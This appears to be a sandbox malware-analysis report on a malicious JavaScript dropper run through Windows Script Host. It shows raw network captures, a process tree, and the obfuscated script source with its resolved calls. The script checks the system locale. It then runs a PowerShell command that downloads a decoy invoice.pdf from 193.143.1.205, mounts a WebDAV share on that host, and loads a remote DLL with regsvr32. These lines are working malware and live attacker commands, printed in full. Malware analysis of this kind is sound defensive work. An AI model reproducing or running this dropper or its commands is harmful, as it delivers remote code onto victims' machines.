Jan 10, 2025 21:48:34.788784027 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:48:34.788794994 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 21:48:34.788805008 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 21:48:34.788815022 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 21:48:34.788824081 CET	672	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 21:48:34.788835049 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 21:48:34.788846016 CET	1164	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 21:48:34.852113962 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1264	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:48:36.728245020 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:48:37.514827967 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:48:37 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:48:30
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js"
Imagebase:	0x7ff7cf220000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:48:30
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll
Imagebase:	0x7ff6d5ed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:48:30
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:48:31
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:48:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:48:35
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d5ed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:48:36
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b3f90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:48:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:48:36
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:48:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1752,i,5561115583266431318,865564318396973402,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function iwsbrv() {	iwsbrv() ➔ undefined
1	qgngomv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uglrxyfo = this[cjcdir + wfdmzubvc + mqzae + fhyamzkb + ldrixo + gnfhzv + latzs + nllulrkwe] ( this[ulkqdznac + xbjzhyimv + caugixnqx + mqzae + nfkmkwbn + cjcdir + nllulrkwe][pqxqheovm + mqzae + ldrixo + wfdmzubvc + nllulrkwe + ldrixo + eacqzc + pkewffa + wyrsjc + ldrixo + caugixnqx + nllulrkwe] ( ulkqdznac + xbjzhyimv + caugixnqx + mqzae + nfkmkwbn + cjcdir + nllulrkwe + rzwuzb + xbjzhyimv + ycnffjz + ldrixo + otdgsbct + otdgsbct ) [xkwlamry + ldrixo + czbncln + xkwlamry + ldrixo + wfdmzubvc + fqlsrljbh] ( tfafdst + onthaxew + llilwtfvx + gwrqpb + edqnnt + pqxqheovm + dbmwczu + xkwlamry + xkwlamry + llilwtfvx + bifxfxrbj + cuotrk + edqnnt + dbmwczu + xbjzhyimv + llilwtfvx + xkwlamry + cuiqzdukg + pqxqheovm + gyejp + latzs + nllulrkwe + mqzae + gyejp + otdgsbct + ulxpwnau + gvrmnd + wfdmzubvc + latzs + ldrixo + otdgsbct + cuiqzdukg + gnfhzv + latzs + nllulrkwe + ldrixo + mqzae + latzs + wfdmzubvc + nllulrkwe + nfkmkwbn + gyejp + latzs + wfdmzubvc + otdgsbct + cuiqzdukg + mznkes + gyejp + caugixnqx + wfdmzubvc + otdgsbct + ldrixo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( entwaryym = 0 ; entwaryym < qgngomv[otdgsbct + ldrixo + latzs + czbncln + nllulrkwe + ycnffjz] ; ++ entwaryym )
4	{
5	if ( uglrxyfo == qgngomv[entwaryym] )
6	{
7	uglrxyfo = true;
8	break ;
9	}
10	}
11	if ( uglrxyfo !== true )
12	this[ulkqdznac + xbjzhyimv + caugixnqx + mqzae + nfkmkwbn + cjcdir + nllulrkwe][lnmilnm + pgentu + nfkmkwbn + nllulrkwe] ( );
13	this[ulkqdznac + xbjzhyimv + caugixnqx + mqzae + nfkmkwbn + cjcdir + nllulrkwe][pqxqheovm + mqzae + ldrixo + wfdmzubvc + nllulrkwe + ldrixo + eacqzc + pkewffa + wyrsjc + ldrixo + caugixnqx + nllulrkwe] ( ulkqdznac + xbjzhyimv + caugixnqx + mqzae + nfkmkwbn + cjcdir + nllulrkwe + rzwuzb + xbjzhyimv + ycnffjz + ldrixo + otdgsbct + otdgsbct ) [mqzae + pgentu + latzs] ( caugixnqx + dyqbvlht + fqlsrljbh + ulxpwnau + cidpzr + caugixnqx + ulxpwnau + cjcdir + gyejp + bgeozlq + ldrixo + mqzae + fhyamzkb + ycnffjz + ldrixo + otdgsbct + otdgsbct + rzwuzb + ldrixo + paftdkr + ldrixo + ulxpwnau + oduxq + pqxqheovm + gyejp + dyqbvlht + dyqbvlht + wfdmzubvc + latzs + fqlsrljbh + ulxpwnau + kvexma + gnfhzv + latzs + uzpwontkr + gyejp + ovftqroqk + ldrixo + oduxq + ulkqdznac + ldrixo + pkewffa + xkwlamry + ldrixo + fudynakjm + pgentu + ldrixo + fhyamzkb + nllulrkwe + ulxpwnau + oduxq + eacqzc + pgentu + nllulrkwe + wxnbxuty + nfkmkwbn + otdgsbct + ldrixo + ulxpwnau + hkpkuqbxw + nllulrkwe + ldrixo + dyqbvlht + cjcdir + hkpkuqbxw + cuiqzdukg + nfkmkwbn + latzs + uzpwontkr + gyejp + nfkmkwbn + caugixnqx + ldrixo + rzwuzb + cjcdir + fqlsrljbh + hymjrxpn + ulxpwnau + ycnffjz + nllulrkwe + nllulrkwe + cjcdir + xnrcstti + cidpzr + cidpzr + xtjuu + psviqwk + qnxeswq + rzwuzb + xtjuu + rthcw + qnxeswq + rzwuzb + xtjuu + rzwuzb + vfihs + flwqq + pukfwqy + cidpzr + nfkmkwbn + latzs + uzpwontkr + gyejp + nfkmkwbn + caugixnqx + ldrixo + rzwuzb + cjcdir + ycnffjz + cjcdir + kvexma + zlbcvvfdw + zlbcvvfdw + fhyamzkb + nllulrkwe + wfdmzubvc + mqzae + nllulrkwe + ulxpwnau + hkpkuqbxw + nllulrkwe + ldrixo + dyqbvlht + cjcdir + hkpkuqbxw + cuiqzdukg + nfkmkwbn + latzs + uzpwontkr + gyejp + nfkmkwbn + caugixnqx + ldrixo + rzwuzb + cjcdir + fqlsrljbh + hymjrxpn + zlbcvvfdw + zlbcvvfdw + caugixnqx + dyqbvlht + fqlsrljbh + ulxpwnau + cidpzr + caugixnqx + ulxpwnau + latzs + ldrixo + nllulrkwe + ulxpwnau + pgentu + fhyamzkb + ldrixo + ulxpwnau + cuiqzdukg + cuiqzdukg + xtjuu + psviqwk + qnxeswq + rzwuzb + xtjuu + rthcw + qnxeswq + rzwuzb + xtjuu + rzwuzb + vfihs + flwqq + pukfwqy + cvumu + jvuzxcj + jvuzxcj + jvuzxcj + jvuzxcj + cuiqzdukg + fqlsrljbh + wfdmzubvc + uzpwontkr + bgeozlq + bgeozlq + bgeozlq + mqzae + gyejp + gyejp + nllulrkwe + cuiqzdukg + zlbcvvfdw + zlbcvvfdw + caugixnqx + dyqbvlht + fqlsrljbh + ulxpwnau + cidpzr + caugixnqx + ulxpwnau + mqzae + ldrixo + czbncln + fhyamzkb + uzpwontkr + mqzae + qnxeswq + vfihs + ulxpwnau + cidpzr + fhyamzkb + ulxpwnau + cuiqzdukg + cuiqzdukg + xtjuu + psviqwk + qnxeswq + rzwuzb + xtjuu + rthcw + qnxeswq + rzwuzb + xtjuu + rzwuzb + vfihs + flwqq + pukfwqy + cvumu + jvuzxcj + jvuzxcj + jvuzxcj + jvuzxcj + cuiqzdukg + fqlsrljbh + wfdmzubvc + uzpwontkr + bgeozlq + bgeozlq + bgeozlq + mqzae + gyejp + gyejp + nllulrkwe + cuiqzdukg + xtjuu + igwjxyv + flwqq + xtjuu + vfihs + qnxeswq + flwqq + flwqq + gtnsgsph + flwqq + vfihs + pukfwqy + gtnsgsph + vfihs + psviqwk + rzwuzb + fqlsrljbh + otdgsbct + otdgsbct, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll",0,false) ➔ 0
14	}
15	qnxeswq = "C";
16	qnxeswq = "b";
17	qnxeswq = "N";
18	qnxeswq = "i";
19	qnxeswq = "d";
20	qnxeswq = "L";
21	qnxeswq = "M";
22	qnxeswq = "y";
23	qnxeswq = "g";
24	qnxeswq = "H";
25	qnxeswq = "F";
26	qnxeswq = "c";
27	qnxeswq = "d";
28	qnxeswq = "s";
29	qnxeswq = "V";
30	qnxeswq = "O";
31	qnxeswq = "b";
32	qnxeswq = "P";
33	qnxeswq = "H";
34	qnxeswq = "v";
35	qnxeswq = "y";
36	qnxeswq = "S";
37	qnxeswq = "h";
38	qnxeswq = "n";
39	qnxeswq = "y";
40	qnxeswq = "q";
41	qnxeswq = "S";
42	qnxeswq = "3";
43	fudynakjm = "i";
44	fudynakjm = "u";
45	fudynakjm = "a";
46	fudynakjm = "J";
47	fudynakjm = "q";
48	fudynakjm = "H";
49	fudynakjm = "B";
50	fudynakjm = "E";
51	fudynakjm = "p";
52	fudynakjm = "o";
53	fudynakjm = "q";
54	otdgsbct = "a";
55	otdgsbct = "C";
56	otdgsbct = "P";
57	otdgsbct = "n";
58	otdgsbct = "S";
59	otdgsbct = "A";
60	otdgsbct = "t";
61	otdgsbct = "N";
62	otdgsbct = "I";
63	otdgsbct = "z";
64	otdgsbct = "l";
65	otdgsbct = "N";
66	otdgsbct = "J";
67	otdgsbct = "x";
68	otdgsbct = "i";
69	otdgsbct = "w";
70	otdgsbct = "m";
71	otdgsbct = "r";
72	otdgsbct = "k";
73	otdgsbct = "n";
74	otdgsbct = "X";
75	otdgsbct = "s";
76	otdgsbct = "o";
77	otdgsbct = "l";
78	fhyamzkb = "O";
79	fhyamzkb = "Y";
80	fhyamzkb = "t";
81	fhyamzkb = "i";
82	fhyamzkb = "e";
83	fhyamzkb = "t";
84	fhyamzkb = "K";
85	fhyamzkb = "p";
86	fhyamzkb = "E";
87	fhyamzkb = "f";
88	fhyamzkb = "G";
89	fhyamzkb = "j";
90	fhyamzkb = "o";
91	fhyamzkb = "Y";
92	fhyamzkb = "f";
93	fhyamzkb = "Y";
94	fhyamzkb = "m";
95	fhyamzkb = "U";
96	fhyamzkb = "Y";
97	fhyamzkb = "h";
98	fhyamzkb = "i";
99	fhyamzkb = "T";
100	fhyamzkb = "a";
101	fhyamzkb = "Z";
102	fhyamzkb = "x";
103	fhyamzkb = "t";
104	fhyamzkb = "D";
105	fhyamzkb = "O";
106	fhyamzkb = "q";
107	fhyamzkb = "X";
108	fhyamzkb = "Q";
109	fhyamzkb = "q";
110	fhyamzkb = "A";
111	fhyamzkb = "N";
112	fhyamzkb = "D";
113	fhyamzkb = "V";
114	fhyamzkb = "L";
115	fhyamzkb = "U";
116	fhyamzkb = "h";
117	fhyamzkb = "N";
118	fhyamzkb = "n";
119	fhyamzkb = "s";
120	xtjuu = "R";
121	xtjuu = "y";
122	xtjuu = "q";
123	xtjuu = "Z";
124	xtjuu = "u";
125	xtjuu = "e";
126	xtjuu = "Y";
127	xtjuu = "T";
128	xtjuu = "A";
129	xtjuu = "W";
130	xtjuu = "g";
131	xtjuu = "s";
132	xtjuu = "N";
133	xtjuu = "n";
134	xtjuu = "f";
135	xtjuu = "K";
136	xtjuu = "o";
137	xtjuu = "Y";
138	xtjuu = "H";
139	xtjuu = "k";
140	xtjuu = "A";
141	xtjuu = "A";
142	xtjuu = "H";
143	xtjuu = "W";
144	xtjuu = "S";
145	xtjuu = "T";
146	xtjuu = "I";
147	xtjuu = "A";
148	xtjuu = "n";
149	xtjuu = "q";
150	xtjuu = "A";
151	xtjuu = "e";
152	xtjuu = "G";
153	xtjuu = "I";
154	xtjuu = "z";
155	xtjuu = "Q";
156	xtjuu = "i";
157	xtjuu = "G";
158	xtjuu = "R";
159	xtjuu = "1";
160	cuiqzdukg = "U";
161	cuiqzdukg = "i";
162	cuiqzdukg = "x";
163	cuiqzdukg = "s";
164	cuiqzdukg = "\\";
165	gwrqpb = "v";
166	gwrqpb = "x";
167	gwrqpb = "g";
168	gwrqpb = "W";
169	gwrqpb = "I";
170	gwrqpb = "g";
171	gwrqpb = "h";
172	gwrqpb = "t";
173	gwrqpb = "A";
174	gwrqpb = "d";
175	gwrqpb = "X";
176	gwrqpb = "H";
177	gwrqpb = "P";
178	gwrqpb = "f";
179	gwrqpb = "H";
180	gwrqpb = "A";
181	gwrqpb = "g";
182	gwrqpb = "j";
183	gwrqpb = "c";
184	gwrqpb = "h";
185	gwrqpb = "x";
186	gwrqpb = "S";
187	gwrqpb = "L";
188	gwrqpb = "N";
189	gwrqpb = "A";
190	gwrqpb = "y";
191	gwrqpb = "h";
192	gwrqpb = "Y";
193	gwrqpb = "x";
194	gwrqpb = "L";
195	gwrqpb = "W";
196	gwrqpb = "g";
197	gwrqpb = "d";
198	gwrqpb = "g";
199	gwrqpb = "W";
200	gwrqpb = "J";
201	gwrqpb = "e";
202	gwrqpb = "a";
203	gwrqpb = "i";
204	gwrqpb = "y";
205	gwrqpb = "r";
206	gwrqpb = "q";
207	gwrqpb = "A";
208	gwrqpb = "Y";
209	cuotrk = "r";
210	cuotrk = "R";
211	cuotrk = "N";
212	cuotrk = "X";
213	cuotrk = "V";
214	cuotrk = "i";
215	cuotrk = "d";
216	cuotrk = "H";
217	cuotrk = "h";
218	cuotrk = "R";
219	cuotrk = "o";
220	cuotrk = "y";
221	cuotrk = "I";
222	cuotrk = "a";
223	cuotrk = "b";
224	cuotrk = "T";
225	cuotrk = "R";
226	cuotrk = "l";
227	cuotrk = "T";
228	cuotrk = "a";
229	cuotrk = "e";
230	cuotrk = "U";
231	cuotrk = "m";
232	cuotrk = "N";
233	cuotrk = "f";
234	cuotrk = "g";
235	cuotrk = "m";
236	cuotrk = "M";
237	cuotrk = "R";
238	cuotrk = "M";
239	cuotrk = "D";
240	cuotrk = "m";
241	cuotrk = "b";
242	cuotrk = "q";
243	cuotrk = "X";
244	cuotrk = "t";
245	cuotrk = "G";
246	cuotrk = "a";
247	cuotrk = "t";
248	cuotrk = "R";
249	cuotrk = "J";
250	cuotrk = "k";
251	cuotrk = "M";
252	cuotrk = "T";
253	pgentu = "F";
254	pgentu = "V";
255	pgentu = "v";
256	pgentu = "w";
257	pgentu = "x";
258	pgentu = "U";
259	pgentu = "T";
260	pgentu = "J";
261	pgentu = "A";
262	pgentu = "Q";
263	pgentu = "H";
264	pgentu = "M";
265	pgentu = "C";
266	pgentu = "Y";
267	pgentu = "j";
268	pgentu = "N";
269	pgentu = "B";
270	pgentu = "X";
271	pgentu = "N";
272	pgentu = "Z";
273	pgentu = "p";
274	pgentu = "q";
275	pgentu = "m";
276	pgentu = "v";
277	pgentu = "U";
278	pgentu = "T";
279	pgentu = "q";
280	pgentu = "m";
281	pgentu = "o";
282	pgentu = "F";
283	pgentu = "H";
284	pgentu = "X";
285	pgentu = "Y";
286	pgentu = "p";
287	pgentu = "o";
288	pgentu = "P";
289	pgentu = "w";
290	pgentu = "p";
291	pgentu = "A";
292	pgentu = "V";
293	pgentu = "u";
294	wxnbxuty = "x";
295	wxnbxuty = "t";
296	wxnbxuty = "i";
297	wxnbxuty = "T";
298	wxnbxuty = "Y";
299	wxnbxuty = "R";
300	wxnbxuty = "b";
301	wxnbxuty = "u";
302	wxnbxuty = "u";
303	wxnbxuty = "I";
304	wxnbxuty = "k";
305	wxnbxuty = "U";
306	wxnbxuty = "q";
307	wxnbxuty = "o";
308	wxnbxuty = "o";
309	wxnbxuty = "k";
310	wxnbxuty = "c";
311	wxnbxuty = "I";
312	wxnbxuty = "v";
313	wxnbxuty = "k";
314	wxnbxuty = "z";
315	wxnbxuty = "U";
316	wxnbxuty = "i";
317	wxnbxuty = "r";
318	wxnbxuty = "C";
319	wxnbxuty = "m";
320	wxnbxuty = "p";
321	wxnbxuty = "F";
322	gnfhzv = "N";
323	gnfhzv = "g";
324	gnfhzv = "j";
325	gnfhzv = "V";
326	gnfhzv = "F";
327	gnfhzv = "R";
328	gnfhzv = "A";
329	gnfhzv = "U";
330	gnfhzv = "V";
331	gnfhzv = "o";
332	gnfhzv = "N";
333	gnfhzv = "N";
334	gnfhzv = "q";
335	gnfhzv = "U";
336	gnfhzv = "L";
337	gnfhzv = "t";
338	gnfhzv = "w";
339	gnfhzv = "I";
340	gnfhzv = "S";
341	gnfhzv = "j";
342	gnfhzv = "r";
343	gnfhzv = "u";
344	gnfhzv = "v";
345	gnfhzv = "Y";
346	gnfhzv = "v";
347	gnfhzv = "x";
348	gnfhzv = "I";
349	gnfhzv = "C";
350	gnfhzv = "J";
351	gnfhzv = "M";
352	gnfhzv = "j";
353	gnfhzv = "n";
354	gnfhzv = "d";
355	gnfhzv = "e";
356	gnfhzv = "V";
357	gnfhzv = "I";
358	vfihs = "M";
359	vfihs = "C";
360	vfihs = "M";
361	vfihs = "T";
362	vfihs = "o";
363	vfihs = "s";
364	vfihs = "j";
365	vfihs = "x";
366	vfihs = "S";
367	vfihs = "a";
368	vfihs = "S";
369	vfihs = "W";
370	vfihs = "l";
371	vfihs = "c";
372	vfihs = "j";
373	vfihs = "k";
374	vfihs = "V";
375	vfihs = "Z";
376	vfihs = "F";
377	vfihs = "B";
378	vfihs = "j";
379	vfihs = "z";
380	vfihs = "f";
381	vfihs = "M";
382	vfihs = "y";
383	vfihs = "O";
384	vfihs = "I";
385	vfihs = "K";
386	vfihs = "i";
387	vfihs = "z";
388	vfihs = "2";
389	gyejp = "g";
390	gyejp = "q";
391	gyejp = "s";
392	gyejp = "B";
393	gyejp = "C";
394	gyejp = "b";
395	gyejp = "b";
396	gyejp = "E";
397	gyejp = "E";
398	gyejp = "h";
399	gyejp = "L";
400	gyejp = "T";
401	gyejp = "S";
402	gyejp = "H";
403	gyejp = "J";
404	gyejp = "f";
405	gyejp = "y";
406	gyejp = "W";
407	gyejp = "H";
408	gyejp = "T";
409	gyejp = "k";
410	gyejp = "z";
411	gyejp = "n";
412	gyejp = "q";
413	gyejp = "o";
414	nfkmkwbn = "x";
415	nfkmkwbn = "A";
416	nfkmkwbn = "c";
417	nfkmkwbn = "q";
418	nfkmkwbn = "F";
419	nfkmkwbn = "A";
420	nfkmkwbn = "E";
421	nfkmkwbn = "e";
422	nfkmkwbn = "P";
423	nfkmkwbn = "x";
424	nfkmkwbn = "Y";
425	nfkmkwbn = "r";
426	nfkmkwbn = "f";
427	nfkmkwbn = "H";
428	nfkmkwbn = "A";
429	nfkmkwbn = "L";
430	nfkmkwbn = "M";
431	nfkmkwbn = "Y";
432	nfkmkwbn = "B";
433	nfkmkwbn = "C";
434	nfkmkwbn = "u";
435	nfkmkwbn = "A";
436	nfkmkwbn = "L";
437	nfkmkwbn = "i";
438	ulkqdznac = "E";
439	ulkqdznac = "p";
440	ulkqdznac = "C";
441	ulkqdznac = "t";
442	ulkqdznac = "q";
443	ulkqdznac = "n";
444	ulkqdznac = "y";
445	ulkqdznac = "u";
446	ulkqdznac = "b";
447	ulkqdznac = "m";
448	ulkqdznac = "H";
449	ulkqdznac = "Q";
450	ulkqdznac = "l";
451	ulkqdznac = "z";
452	ulkqdznac = "B";
453	ulkqdznac = "r";
454	ulkqdznac = "n";
455	ulkqdznac = "W";
456	ldrixo = "O";
457	ldrixo = "A";
458	ldrixo = "I";
459	ldrixo = "y";
460	ldrixo = "J";
